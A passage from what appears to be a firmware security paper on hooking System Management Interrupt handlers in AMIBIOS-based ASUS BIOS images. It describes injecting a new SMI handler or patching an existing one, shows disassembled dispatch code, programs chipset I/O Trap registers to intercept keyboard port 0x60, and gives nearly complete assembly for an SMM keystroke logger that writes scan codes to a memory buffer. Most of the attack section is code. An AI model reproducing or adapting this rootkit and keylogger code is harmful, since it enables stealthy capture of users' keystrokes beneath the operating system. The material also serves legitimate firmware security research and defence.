$SMIBO ...G ..G 0007BFC0: 08 A8 66 A8‑0C A8 66 A8‑24 53 4D 49‑43 4D 00 00 .f. .f.$SMICM 0007BFD0: 5D AD 66 A8‑60 AD 66 A8‑EF AD 66 A8‑F1 AD 66 A8 ]‑f.`‑f..‑f..‑f. 0007BFE0: 24 53 4D 49‑4C 55 00 00‑91 AE 66 A8‑94 AE 66 A8 $SMILU 'Rf."Rf. 0007BFF0: A8 AE 66 A8‑B5 AE 66 A8‑24 53 4D 49‑41 42 00 00 .Rf..Rf.$SMIAB 0007C000: 4D B0 66 A8‑50 B0 66 A8‑54 B0 66 A8‑67 B0 66 A8 M.f.P.f.T.f.g.f. 0007C010: 24 53 4D 49‑47 43 00 00‑F0 BB 66 A8‑F3 BB 66 A8 $SMIGC .>f..>f. 0007C020: F4 BB 66 A8‑0A BC 66 A8‑24 53 4D 49‑50 53 00 00 .>f. _f.$SMIPS 0007C030: 2C BC 66 A8‑32 BC 66 A8‑33 BC 66 A8‑41 BC 66 A8 ,_f.2_f.3_f.A_f. 0007C040: 24 53 4D 49‑50 53 00 00‑74 BC 66 A8‑7A BC 66 A8 $SMIPS t_f.z_f. 0007C050: 7B BC 66 A8‑86 BC 66 A8‑24 53 4D 49‑47 44 00 00 {_f.+_f.$SMIGD 0007C060: C0 BD 66 A8‑C3 BD 66 A8‑C4 BD 66 A8‑F6 BD 66 A8 ._f.._f.._f.._f. 0007C070: 24 53 4D 49‑43 45 00 00‑50 BF 66 A8‑62 BF 66 A8 $SMICE P.f.b.f. 0007C080: 72 BF 66 A8‑8B BF 66 A8‑24 53 4D 49‑46 45 00 00 r.f.<.f.$SMIFE 0007C090: 70 D3 EA 47‑7F D3 EA 47‑17 C4 66 A8‑0C D9 66 A8 p..G..G .f. .f. 0007C0A0: 24 53 4D 49‑49 4C 00 00‑50 D9 66 A8‑55 D9 66 A8 $SMIIL P.f.U.f. 0007C0B0: 5B D9 66 A8‑61 D9 66 A8‑24 53 4D 49‑43 47 00 00 [.f.a.f.$SMICG 0007C0C0: B0 DA 66 A8‑B6 DA 66 A8‑EB DA 66 A8‑17 DB 66 A8 ..f...f...f. .f. 0007C0D0: 24 44 45 46‑FF 00 01 00‑84 E3 EA 47‑87 E3 EA 47 $DEF. "..G+..G 0007C0E0: 86 E9 66 A8‑91 E9 66 A8‑00 00 00 01‑00 00 00 00 +.f.'.f.

As a small exercise, download .ROM file for any ASUS EeePC netbook and find which SMI handlers are present in the EeePC BIOS.

Both tables have the last structure with '$DEF' signature which describes default SMI handler invoked when none of other handlers claimed ownership of current SMI. It does nothing more than simply clearing all SMI statuses.

From the above tables we can try to reconstruct contents of each table entry:

_smi_handler STRUCT

signatureBYTE'$SMI',?,?

some_flagsWORD0

some_ptr0DWORD?

some_ptr1DWORD?

some_ptr2DWORD?

handle_smi_ptrDWORD?

_smi_handler ENDS

Each SMI handler entry in SMI dispatch table starts with signature '$SMI' followed by 2 characters specific to SMI handler. Only entry for the default SMI handler starts with '$DEF' signature.

Each _smi_handler entry contains several pointers to SMI handler functions. The most important pointer occupies last 4 bytes, handle_smi_ptr. It points to the main handling function of the corresponding SMI handler.

‑‑[ 2.5 ‑ Disassembling "main" SMI dispatching function

A special SMI dispatch routine (let's name it "dispatch_smi") iterates through each SMI handler entry in the table and invokes its handle_smi_ptr. If none of the registered SMI handlers claimed ownership of the current SMI it invokes handle_smi_ptr routine of $DEF handler.

Below is a disassembly of Handle_SMI BIOS function in ASUS P5Q motherboard:

0004AF71: 51 push cx 0004AF72: 50 push ax 0004AF73: 53 push bx 0004AF74: 1E push ds 0004AF75: 06 push es 0004AF76: 9A0101C8A8 call 0A8C8:00101 ‑‑‑X 0004AF7B: 07 pop es 0004AF7C: 1F pop ds

0004AF7D: C606670300 mov b,[0367],000

0004AF82: 803E670301 cmp b,[0367],001 ;" " ; je _done_handling_smi

0004AF87: 7438 je 00004AFC1 ‑‑‑> (1)

;

; load CX with number of supported SMI handlers

; done handling SMI if 0

;

0004AF89: 8B0E6003 mov cx,[0360]

; jcxz _done_handling_smi

0004AF8D: E332 jcxz 00004AFC1 ‑‑‑> (2)

_iterate_thru_handlers:

;

; load GS with index of SMI handler table segment in GDT

; and decrement number of SMI handlers to try

;

0004AF8F: 6828B4 push 0B428 ;"_(" 0004AF92: 0FA9 pop gs 0004AF94: 33FF xor di,di

;

; handle next SMI

;

_handle_next_smi:

0004AF96: 49 dec cx

;

; check some_flags from current _smi_handler entry in the table ;

0004AF97: 658B4506 mov ax,gs:[di][06] 0004AF9B: 83E001 and ax,001 ;" " 0004AF9E: 7413 je 00004AFB3 ‑‑‑> (3)

0004AFA0: 51 push cx 0004AFA1: 0FA8 push gs 0004AFA3: 57 push di

;

; call SMI handler, handle_smi_ptr of the current

; _smi_handler entry in the dispatch table

;

0004AFA4: 65FF5D14 call d,gs:[di][14]

0004AFA8: 5F pop di 0004AFA9: 0FA9 pop gs 0004AFAB: 59 pop cx

; jcxz _done_handling_smi

0004AFAC: E313 jcxz 00004AFC1 ‑‑‑> (4) 0004AFAE: 83F800 cmp ax,000 0004AFB1: 7407 je 00004AFBA ‑‑‑> (5) 0004AFB3: BB1800 mov bx,00018 ;" " 0004AFB6: 03FB add di,bx

;

; try next SMI handler entry

;

0004AFB8: EBDC jmps 00004AF96 ‑‑‑> (6) ; _handle_next_smi

0004AFBA: B80000 mov ax,00000 0004AFBD: 0BC0 or ax,ax 0004AFBF: 75C1 jne 00004AF82 ‑‑‑> (7)

;

; SMI either handled or corresponding handler was not found

; and default handler executed

;

_done_handling_smi:

0004AFC1: 5B pop bx 0004AFC2: 58 pop ax 0004AFC3: 59 pop cx 0004AFC4: 5F pop di 0004AFC5: 0FA9 pop gs 0004AFC7: CB retf

‑‑[ 2.6 ‑ Hooking SMI handlers

Based on the above, there are several ways to hook SMI handlers to add a rootkit functionality: add a new SMI handler or patch one of the existing SMI handlers. While these two methods aren't significantly different, we consider both of them.

1. Adding your own SMI handler and a new entry to SMI dispatch table.

To add a new SMI handler we have to add a new entry to SMI dispatch table. Let's add entry with signature '$SMIaa' to the table just before the entry for the default SMI handler $DEF:

00065E00: A8 24 53 4D‑49 61 61 00‑00 AF E8 00‑40 B2 E8 00 .$SMIaa .. @_. 00065E10: 40 9C B3 C8‑A8 A7 B3 C8‑A8 53 53 44‑54 13 06 00 @__..._..SSDT

This entry contains pointers to default SMI handler functions that may be patched. Another method is to find a free space in SMRAM, put shellcode there and replace pointers to default SMI handler functions with pointers to SMI shellcode.

Additionally, SMI code saves number of active SMI handlers into a variable in SMRAM data segment that also should be incremented if a new SMI handler is injected.

2. Patching one of the existing SMI handlers.

Let's describe patching existing SMI handler in more details.

Although all BIOS we analyzed are based on the same AMIBIOS 8 core, we found that number of $SMI entries in SMI handler tables vary depending on motherboard manufacturer and model, chipset manufacturer and model, and even on whether it's mobile or server motherboard. SMI handlers typically serve as hardware management functions or workaround for hardware bugs. Different systems have different needs and therefore different types of SMI handlers are present in the BIOS firmware.

Interestingly, some of SMI handlers appear to exist in all BIOS based on AMIBIOS 8. Specifically handlers with the following entries in SMI dispatch table: $SMICA, $SMISS, $SMISI, $SMIX5, $SMIBP, $SMIED, $SMIFS, $SMIBS and obviously $DEF.

The first choice would be to replace one of the SMI handlers present in every BIOS based on AMIBIOS 8 core, such as $SMISS. BIOS for ASUS P5Q motherboard has $SMISS handler at 000490D3 offset of system BIOS code. Below is a snippet of $SMISS handler disassembly:

handle_smi_ss:

000490D3: 0E push cs 000490D4: E8D8FF call 0000490AF ‑‑‑ (1) 000490D7: B80100 mov ax,00001 ;" " 000490DA: 0F82F400 jb 0000491D2 ‑‑‑ (2) 000490DE: B81034 mov ax,03410 ;"4 "

..

000491CA: 9AFB00C8A8 call 0A8C8:000FB ‑‑‑X 000491CF: B80000 mov ax,00000 000491D2: CB retf

After some time spent on reverse engineering this handler one should be able to recognize it as a code handling Sleep State requests. It turns out that replacing one of the existing SMI handlers may leave the system without important functionality or even make the system unstable.

Replacing default SMI handler ($DEF) may be possible if injected payload is designed to handle an SMI that isn't supported by the current BIOS. In this case no existing SMI handler will claim the SMI and default handler will be executed.

Default handler is very basic and has very limited space so it may be better to find another victim handler that has more space, present in SMM of all BIOS firmware and doesn't implement useful functionality.

Sounds impossible but.. ;) Let's take a look at the SMI handler with signature $SMIED. This SMI handler handles software SMI generated by writing 0xDE value to APMC port 0xB2:

_outpd( 0xb2, 0xDE );

It doesn't seem to do anything meaningful but it exists and is the same in every BIOS we examined. The purpose of this SMI handler is not entirely clear. It seems to be used for debugging.

First of all, we need to find $SMIED handler routines in BIOS binary. SMI handlers are trivial to locate, if main routine is found for at least one SMI handler in the BIOS binary (remember handle_smi_ptr pointer in SMI_HANDLER structure).

Assume we know location of handle_smi_ss function of $SMISS SMI handler described above. This location is offset 0x000490D3 in the system BIOS binary.

The last 4 bytes of $SMISS entry in SMI dispatch table are "B5 85 C8 A8" which makes handle_smi_ptr = 0xA8C885B5. This is a linear address of the main function of $SMISS handler. The last 4 bytes of $SMIED entry in SMI dispatch table are "F2 A7 C8 A8" hence the handle_smi_ptr = 0xA8C8A7F2.

This is a linear address of the main function of $SMIED handler. Delta between these two linear addresses is 0x223D. By adding this delta to the offset of $SMISS SMI handler in the BIOS binary, one can calculate the offset of main function of $SMIED or any other SMI handler in the BIOS binary.

0x000490D3 + 0x223D = 0x0004B310

Any other SMI handler can be used instead of $SMISS, for example $DEF SMI handler which should be the same in all BIOS binaries.

Here's the main function of $SMIED SMI handler:

0004B2FD: 50 push ax 0004B2FE: E8CCFD call 00004B0CD ‑‑‑ > (1) 0004B301: 720A jb 00004B30D ‑‑‑ > (2) 0004B303: 3CDE cmp al,0DE 0004B305: 7506 jne 00004B30D ‑‑‑ > (3) 0004B307: E8E0FD call 00004B0EA ‑‑‑ > (4) 0004B30A: F8 clc

0004B30B: 58 pop ax 0004B30C: CB retf

0004B30D: F9 stc

0004B30E: 58 pop ax 0004B30F: CB retf

handle_smi_ed:

0004B310: 0E push cs 0004B311: E8E9FF call 00004B2FD ‑‑‑ > (5) 0004B314: B80100 mov ax,00001 ;" " 0004B317: 7245 jb 00004B35E ‑‑‑ > (6) 0004B319: 6660 pushad

0004B31B: 1E push ds 0004B31C: 06 push es 0004B31D: 680070 push 07000 ;"p " 0004B320: 1F pop ds 0004B321: 33FF xor di,di 0004B323: 6828B4 push 0B428 ;"_(" 0004B326: 07 pop es 0004B327: 33F6 xor si,si 0004B329: 268B04 mov ax,es:[si] 0004B32C: 8905 mov [di],ax 0004B32E: 268B04 mov ax,es:[si] 0004B331: 3D2444 cmp ax,04424 ;"D$" 0004B334: 750C jne 00004B342 ‑‑‑ > (7) 0004B336: BB0200 mov bx,00002 ;" " 0004B339: 268B4402 mov ax,es:[si][02] 0004B33D: 3D4546 cmp ax,04645 ;"FE" 0004B340: 7408 je 00004B34A ‑‑‑ > (8) 0004B342: 83C602 add si,002 ;" " 0004B345: 83C702 add di,002 ;" " 0004B348: EBDF jmps 00004B329 ‑‑‑ > (9) 0004B34A: 268B00 mov ax,es:[bx][si] 0004B34D: 8901 mov [bx][di],ax 0004B34F: 83C302 add bx,002 ;" " 0004B352: 83FB0A cmp bx,00A ;" " 0004B355: 75F3 jne 00004B34A ‑‑‑ > (A) 0004B357: 07 pop es 0004B358: 1F pop ds 0004B359: 6661 popad

0004B35B: B80000 mov ax,00000 0004B35E: CB retf

The only thing above "debug" SMI handler does is it simply copies the entire SMI dispatch table from 0x0B428:[si] to 0x07000:[di].

So it seems logical and safe to patch this handler routine with our own SMI shellcode. The SMI shellcode may be different depending on the purpose. We inject SMI keystroke logger similarly to [smm_rkt].

Before we jump to details of SMI keystroke logger handler implementation let's discuss methods tha can be used to invoke this SMI keylogger handler when keys are pressed on a keyboard.

1. Routing keyboard hardware interrupt (IRQ #01) to SMI using I/O APIC

Authors of [smm_rkt] used I/O Advanced Programmable Interrupt Controller (I/O APIC) to redirect keyboard controller hardware interrupt IRQ #01 to SMI and capture keystrokes inside hooked SMI handler.

For details of using this method please refer to [smm_rkt]. For details on I/O and Local APIC programming, please refer to Chapter 8 of Intel(r) IA‑32 Architecture Software Developer's Manual [intel_man] or search for "APIC programming".

2. I/O Trap on access to keyboard controller data port 0x60

We initially started to use entirely different technique to intercept pressed keys in SMI ‑ I/O Trap. It should be noted that this method is traditionally used in the BIOS to emulate legacy PS/2 keyboard. Let's describe this method in greater details in the next section.

‑‑[ 3 ‑ SMM KEYLOGGER

‑‑[ 3.1 ‑ Hardware I/O Trap mechanism

One of the ways to implement OS kernel keystroke logger is to hook debug trap handler #DB in Interrupt Descriptor Table (IDT) and program hardware debug registers DR0‑DR3 to trap on access to keyboard controller data port 0x60.

There has to be similar way to trap into SMI upon access to keyboard I/O ports. And, miraculously, there is one ‑ I/O ports 60/64 emulation for the USB keyboard. For instance, let's consult to whitepaper describing USB support for AMI BIOS [ami_usb]. There we can find the following quote:

[snip]

2.5.4 Port 64/60 Emulation

This option enables/disables the "Port 60h/64h" trapping option. Port 60h/64h trapping allows the BIOS to provide full PS/2 based legacy support for the USB keyboard and mouse. This option is useful for Microsoft Windows NT Operating System and for multi‑language keyboards. Also this option provides the PS/2 functionalities like keyboard lock, password setting, scan code selection etc to USB keyboards.

[/snip]

So to use it for "other" purposes we need to understand what mechanism this feature is built upon. The mechanism should be supported by hardware so we need to search CPU and chipset specifications. The underlying mechanism is supported by both Intel and AMD processors and is referred to as "I/O Trap". AMD manual has a section "SMM I/O Trap and I/O Restart" [amd_man]. Intel manual describes it in sections "I/O State Implementation" and "I/O INSTRUCTION RESTART" [intel_man].

I/O Trap feature allows SMI trapping on access to any I/O port using IN or OUT instructions and executing specific SMI handler. Reasoning behind this feature is to power on some device being accessed via some I/O port if it's powered off. Apparently, I/O Trap is also used for other features like emulating 60h/64h keyboard ports in SMI handler for the USB keyboard.

So I/O Trap method is similar to debug trap mentioned above, it traps on access to I/O ports, but instead of invoking debug trap handler in OS kernel, it generates an SMI interrupt and CPU enters SMM and executes I/O Trap SMI handler.

When processor traps I/O instruction and enters SMM mode, it saves all information about trapped I/O instruction in SMM Save State Map in the field "I/O State Field" at 0x8000 + 0x7FA4 offset from SMBASE. Below we provide contents of this field that our keylogger will later need to check:

I/O State Field (SMBASE + 0x8000 + 0x7FA4):

+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

| 31 16 | 15 8 | 7 4 | 3 1 | 0 |

+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

| I/O Port | Reserved | I/O Type | I/O Length | IO_SMI |

+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑‑‑‑‑+‑‑‑‑‑‑

‑ If set, IO_SMI (bit 0) indicates that this is a I/O Trap SMI. ‑ I/O Length (bits [1:3]) indicates if I/O access was byte (001b), word (010b) or dword (100b).

‑ I/O Type (bits [4:7]) indicate type of I/O instruction, "IN imm" (1001b), "IN DX" (0001b), etc.

‑ I/O Port (bits [16:31]) contain I/O port number that has been accessed.

As we will see in the next section, SMI keylogger will need to update saved EAX field in SMM Save State Map if this is IO_SMI, access to port 0x60 is byte‑wide and done via IN DX instruction. Specifically, SMI keylogger checks if I/O State field at 0x7FA4 offset has value 0x00600013:

mov esi, SMBASE

mov ecx, dword ptr fs:[esi + 0xFFA4]

cmp ecx, 0x00600013

jnz _not_io_smi

Above check is simplified. SMI keylogger has to check other values of I/O Type and I/O Length bits in I/O State Field.

(*) Remark: for a keylogger purposes, we are only interested in I/O Trap, but not in I/O Restart. For the sake of completeness, I/O Restart allows IN or OUT instruction, that was interrupted by SMI, to be re‑executed (or "restarted") after resuming from SMM mode.

It is possible to program I/O Trap on read or write to any I/O port which allows anyone to implement SMI handlers that will be invoked on variety of interactions between software and hardware devices. We are currently interested in trapping read access to keyboard controller data port 0x60.

Let's describe details of how I/O trapping of key pressed on a keyboard works:

1. When key is pressed, keyboard controller signals a hardware interrupt

[..Here redirection of IRQ 1 to SMI by I/O APIC would take place..]

2. After receiving hardware keyboard interrupt, APIC invokes keyboard interrupt handler routine in IDT (0x93 for PS/2 keyboard)

3. At some point keyboard interrupt handler needs to read a scan code from keyboard controller buffer using data port 0x60

[..In a clean system keyboard interrupt handler would decode scan code and display it on a screen or handle it normally, but in the hooked system..]

4. Chipset traps read to port 0x60 and signals an I/O Trap SMI

5. In SMM, keystroke logger SMI handler claims ownership of and handles this I/O Trap SMI

6. Upon exit from SMM, keystroke logger SMI handler returns result of port 0x60 read (current scan code) to keyboard interrupt handler in kernel for further processing

We described all steps up to the last, step 6, where SMI keylogger returns intercepted data to the OS keyboard interrupt handler. Returning intercepted scan code is different in SMM keylogger using I/O Trap method than in SMM keylogger using I/O APIC. If APIC is used to trigger SMI (as in [smm_rkt]), SMI keylogger has to re‑inject intercepted scan code because it has to be later read by OS keyboard interrupt handler.

On the other side, SMM keylogger that uses I/O Trap method to intercept keystrokes traps "IN al, 0x60" instruction executed by OS keyboard interrupt handler. This IN instruction cannot be restarted upon resuming from SMM as it would cause an infinite loop of SMI traps. Instead, SMI handler has to return result of IN instruction in AL/AX/EAX register as if IN instruction wasn't trapped at all.

EAX register is saved in SMM Save State Map in SMRAM at an offset 0x7FD0 from SMBASE + 0x8000 in IA‑32 [intel_man] or at an offset 0x7F5C in IA‑64. So to return correct result of IN instruction our SMI keylogger will need to update EAX field with scan code read from port 0x60. Obviously, it should update EAX only in case if SMI# is IO_SMI as described above in this section.

Let's modify the above snippet and add the code updating EAX:

;

; verify that this is IO_SMI due to read to 0x60 port

; then update EAX in SMM state save area (SMBASE + 0x8000 + 0x7FD0) ;

mov esi, SMBASE

mov ecx, dword ptr fs:[esi + 0xFFA4]

cmp ecx, 0x00600013

jnz _not_io_smi

mov byte ptr fs:[esi + 0xFFD0], al

_not_io_smi:

; skip this SMI#

For the sake of completeness, below we provide a snippet that re‑injects scan code into keyboard controller buffer which would be used by SMM keylogger based on IRQ1 to SMI# APIC redirection:

; read scan code from keyboard controller buffer

in al, 0x60

push ax

; write command byte 0xD2 to command port 0x64

; to re‑inject intercepted scan code into keyboard controller buffer ; so that OS keyboard interrupt can read and display it later mov al, 0xd2

out 0x64, al

; wait until keyboard controller is ready to read

_wait:

in al, 0x64

test al, 0x2

jnz _wait

; re‑inject scan code

pop ax

out 0x60, al

We described all steps of I/O Trap feature. The next section describes how I/O Trap feature can be enabled for SMI keystroke logger to work.

‑‑[ 3.2 ‑ Programming I/O Trap to capture keystrokes

To enable and program I/O Trap mechanism we need to consult with chipset specifications. For example, Intel(r) I/O Controller Hub 10 (ICH10) Family datasheet [ich] specifies 4 registers IOTR0 ‑ IOTR3 that can provide capability to trap access to I/O ports.

IOTRn ‑ I/O Trap Register (0‑3)

Offset Address: 1E80‑1E87h Register 0 Attribute: R/W 1E88‑1E8Fh Register 1

1E90‑1E97h Register 2

1E98‑1E9Fh Register 3

"These registers are used to specify the set of I/O cycles to be trapped and to enable this functionality."

All I/O Trap registers are located in Root Complex Base Address Register (RCBA) space in ICH. Please refer to sections 10.1.46‑49 of [ich] for details of I/O Trap registers.

‑ I/O Trap 0‑3 (IOTRn) registers are at the offsets 0x1E80 through 0x1E9F from RCBA.

‑ Trap Status Register (TRST) is at offset 1E00h from RCBA. Contains 4 status bits indicating that access was trapped by one of IOTRn traps. ‑ Trapped Cycle Register (TRCR) is at offset 1E10h from RCBA. This register contains data written to trapped I/O port. It's not used when trapping read cycles.

RCBA value can be read from ICH PCI configuration register B:D:F = 0:31:0, offset 0xF0.

//

// Read the Root Complex Base Address Register (RCBA)

//

// LPC device in ICH, B:D:F = 0:31:0

lpc_rcba_addr = pci_addr( 0, 31, 0, LPC_RCBA_REG ); _outpd( 0xcf8, lpc_rcba_addr );

rcba_reg = _inpd( 0xcfc );

pa.LowPart = rcba_reg & 0xffffc000;

// 0x2000 is enough to access I/O Trap range

rcba = MmMapIoSpace( pa, 0x2000, MmCached );

Each IOTRn register contains the following important bits that we'll need to use:

Bit 0 Trap and SMI# Enable (TRSE)

0 = Trapping and SMI# logic disabled.

1 = The trapping logic specified in this register is enabled. ..

Bits 15:2 I/O Address[15:2] (IOAD)

dword‑aligned address

..

Bits 35:32 Byte Enables (TBE)

Active‑high dword‑aligned byte enables.

..

Bit 48 Read/Write# (RWIO)

0 = Write

1 = Read

NOTE: The value in this field does not matter if bit 49 is set.

To enable trapping read accesses to keyboard controller data port 0x60 one of IOTRn registers (for example, IOTR0) have to be programmed as follows: ‑ lower DWORD of IOTR0 should be programmed to value 0x61 (IOAD = 0x60, TRSE = 1)

‑ higher DWORD of IOTR0 should be programmed to value 0x100f0 (TBE = 0xf, RWIO = 1)

A snippet of code that programs IOTR0 looks as follows:

//

// Program I/O Trap to trap on every read from

// keyboard controller data port 0x60

//

pIOTR0_LO = (DWORD *)(rcba + RCBA_IOTR0_LO);

pIOTR0_HI = (DWORD *)(rcba + RCBA_IOTR0_HI);

// trap on port read + all byte enables

*(DWORD*)pIOTR0_HI = 0x100f0;

// keyboard controller port 0x60 + 1 enable I/O Trap

*(DWORD*)pIOTR0_LO = 0x61;

For a complete source code please refer to the end of the paper.

In the next section we will describe full implementation of I/O Trap SMI handler used to trap on keyboard interrupts.

Here we need to note the following. I/O Trap SMI handler needs to disable I/O Trap at the beginning of SMI handler and re‑enable I/O Trap upon resuming from SMM. I/O Trap SMI handler should include these instructions:

; I/O Trap Register 0 = RCBA + 1E80h

IO_TRAP_IOTR0_REGequFED1DE80h

mov edx, IO_TRAP_IOTR0_REG

mov dword ptr [edx], 0

; handle I/O Trap SMI

mov edx, IO_TRAP_IOTR0_REG

mov eax, 0x61

mov dword ptr [edx], eax

The above code first disables SMI I/O Trap by writing 0 to FED1DE80h MMIO address (I/O Trap Register 0 = RCBA + 1E80h) and then after handling SMI, writes 0x61 value to this register to re‑enable I/O trap on read access to port 0x60.

At this point we should have everything we need to modify SMI handler and add a keystroke logger payload into SMM.

‑‑[ 3.3 ‑ System Management Mode keylogger

First thing to understand about SMI based keylogger is that it executes in the specific environment set up by BIOS and SMI code. Despite that the keylogger has similarities with kernel keylogger, it has a lot of SMI specifics.

We tested described keylogger mechanism with only PS/2 keyboards.

We'll be designing SMI keylogger to directly query keyboard controller data port 0x60 and read scan codes sent as interrupts when user presses or releases any key on a keyboard.

Keyloggers that directly read port 0x60 typically need to re‑inject read scan code back to keyboard controller buffer using the same data port 0x60 such that software up in the stack can read and process this scan code without noticing that it was intercepted by the keylogger.

In this paper we use I/O Trap mechanism to trigger SMI keylogger payload. I/O Trap mechanism does not require re‑injecting scan codes. This will be explained later. Furthermore, keylogger will not work if it re‑injects scan code.

Below we provide an assembly of SMI keystroke logger payload based on I/O Trap method. It reads scan codes and dumps them to some physical address from where they can be extracted later. A complete code of SMI handler implementing I/O Trap based SMI keylogger will be provided in the next section.

pusha

;

; verify that this is IO_SMI due to read to 0x60 port

;

mov esi, SMBASE

mov ecx, dword ptr [esi + 0xFFA4]

cmp ecx, 0x00600013

jnz _not_io_smi

;

; read scan code from keyboard controller port 0x60

;

xor ax, ax

in al, 60h

;

; log intercepted scan code (to LOG_BUFFER_PHYS_ADDR physical address) ; the first dword is a number of scan code bytes saved in the buffer ;

mov edi, DST_BUF_PHYSADDR

mov ecx, dword ptr [edi]

push edi

lea edi, dword ptr [edi + ecx + 4]

mov byte ptr [edi], al

;

; increment number of scan code bytes saved in the buffer

;

inc ecx

pop edi

mov dword ptr [edi], ecx

;

; update EAX field in SMM state save map (SMBASE + 0x8000 + SMM_MAP_EAX) ; with scan code to be returned as a result of trapped IN instruction ;

mov byte ptr [esi + 0xFFD0], al

_not_io_smi:

popa

The next section provides full description of SMI handler that implements functions of SMM keylogger based on I/O Trap keystroke interception method.

‑‑[ 3.4 ‑ I/O Trap based keystroke logger SMI handler

From the description in the previous sections I/O Trap method works like this:

1. CPU issues read or write to some I/O port.

2. Chipset traps this access, decodes port number and width, read vs. write access and consults to I/O Trap registers programmed by kernel mode software.

3. If I/O port access corresponds to programmed in I/O Trap registers, chipset asserts SMI# of the CPU.

4. CPU enters System Management Mode an jumps to SMI handler that claims ownership of I/O Trap SMI.

The way to use I/O Trap mechanism to log keystrokes entered on target system is to program chipset to trap on read to keyboard controller data port 0x60 and issue SMI# which will invoke SMI handler that will log scan code read from port 0x60.

Once invoked, after read to port 0x60 was trapped, SMI keylogger should take the following actions:

1. Determine if SMI is due to an I/O Trap on read access to keyboard controller port.

2. Clear I/O Trap status bit in TRST MMIO register at address 0xFED1DE00.

3. Temporarily disable I/O Trap by clearing IOTRn register at 0xFED1DE80, because later it will need to read from the trapped port.

4. Check in TRCR MMIO register at 0xFED1DE10 whether read or write to port was trapped.

5. Read scan code from keyboard controller port 0x60 and store it somewhere in the keystroke log buffer to extract later or transmit it over the network.

4. Update saved EAX register in SMM state save area with read scan code such that when SMI resumes to protected mode, correct scan code is returned to interrupted instructions in kernel keyboard interrupt handler routine.

5. Re‑enable I/O Trap on read access to keyboard controller port 0x60 by writing 0x61 to IOTRn register to enable trapping for the next keystroke after resuming from SMM to normal OS execution.

6. Return from SMI handler code indicating to main SMI dispatch function that SMI was claimed and handled.

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;

;; I/O Trap based SMI keystroke logger

;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;

; I/O Trap registers in Root Complex Base Address (RCBA)

;

IO_TRAP_IOTR0_REGequ FED1DE80h ; I/O Trap Register 0 = RCBA + 1E80h IO_TRAP_TRSR_REGequ FED1DE00h ; Trap Status Register = RCBA + 1E00h IO_TRAP_TRCR_REGequ FED1DE10h ; Trapped Cycle Register = RCBA + 1E10h

KBRD_DATA_PORTequ 60h

DST_BUF_PHYSADDRequ 20000h ; any physical address read later SEG_4Gequ ? ; depends on BIOS

;

; IO_SMI bit, I/O Port = 0x60

; I/O Type = IN DX

; I/O Length = 1

; should all be checked separately

;

IOSMI_IN_60_BYTEequ 00600013h

;

; SMM Save State Map fields

;

SMM_MAP_IO_STATE_INFOequ FFA4h

SMM_MAP_EAXequ FFD0h

;

; we need to load DS with index of 4G 0‑based data segment in GDT ; to be able to access any MMIO

; or physical addresses for logging scan codes

;

push ds

push SEG_4G

pop ds

;

; clear I/O Trap status bit

;

mov eax, IO_TRAP_TRSR_REG

mov dword ptr [eax], 1

;

; check TRCR if it's IO read or write

; we trap only reads here

;

mov eax, IO_TRAP_TRCR_REG

mov ebx, dword ptr [eax]

bswap ebx

and bh, 0xf

and bl, 0x1

jz _smi_handled

;

; temporarily disable I/O Trap

;

mov eax, IO_TRAP_IOTR0_REG

mov dword ptr [eax], 0

;;;;;;;;;;;

; keystroke logging goes here

;;;;;;;;;;;

pusha

;

; verify that this is IO_SMI due to read to 0x60 port

;

mov esi, SMBASE

mov ecx, dword ptr [esi + SMM_MAP_IO_STATE_INFO]

cmp ecx, IOSMI_IN_60_BYTE

jnz _not_io_smi

;

; read scan code from keyboard controller port 0x60

;

xor ax, ax

in al, KBRD_DATA_PORT

;

; log intercepted scan code (to LOG_BUFFER_PHYS_ADDR physical address) ; the first dword is a number of scan code bytes saved in the buffer ;

mov edi, DST_BUF_PHYSADDR

mov ecx, dword ptr [edi]

push edi

lea edi, dword ptr [edi + ecx + 4]

mov byte ptr [edi], al

;

; increment number of scan code bytes saved in the buffer

;

inc ecx

pop edi

mov dword ptr [edi], ecx

;

; update EAX field in SMM state save map (SMBASE + 0x8000 + SMM_MAP_EAX) ; with scan code to be returned as a result of trapped IN instruction ;

mov byte ptr [esi + SMM_MAP_EAX], al

_not_io_smi:

popa

;;;;;;;;;;;

;

; re‑enable I/O Trap on read from port 0x60

;

mov eax, IO_TRAP_IOTR0_REG

mov ebx, KBRD_DATA_PORT+1

mov dword ptr [eax], ebx

;

; return 0 indicating that SMI was handled

;

_smi_handled:

pop ds

mov eax, 0

retf

Above listing intentionally lacks one detail needed for this SMI handler to function correctly in ASUS/AMI BIOS to prevent from copy‑pasting it. A bit more debugging should be sufficient to figure it out.

‑‑[ 3.5 ‑ Multi‑processor keylogger specifics

We've seen in the previous section that I/O Trap based SMM keylogger has to update saved EAX (RAX) register in SMM Save State Map so that the processor could return it as a result of trapped IN instruction.

In case of multi processor system multiple logical processors may enter SMM at the same time so they need their own SMM Save State Map allocated in SMRAM. This is typically solved by setting SMRAM base address (SMBASE) to a different value for each processor by the BIOS firmware (this is referred to as "SMBASE relocation").

For example, in dual processor system, one logical processor may have SMBASE = SMBASE0 and another processor may have SMBASE = SMBASE0 + 0x300. In this case, the first processor starts executing SMI handler code at EIP = SMBASE0 + 0x8000 and the second at EIP = SMBASE0 + 0x8000 + 0x300. SMM Save State Map areas for both processors will start at (SMBASE0 + 0x8000 + 0x7F00) and (SMBASE0 + 0x8000 + 0x7F00 + 0x300).

The following simple diagram illustrates SMRAM layout for 2 processors:

+ Processor 0 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+ Processor 1 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

|

| SMBASE + 0xFFFF + 0x300 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| SMM Save Sate area ///////////|

| SMBASE + 0xFF00 + 0x300 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

+ SMBASE + 0xFFFF ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

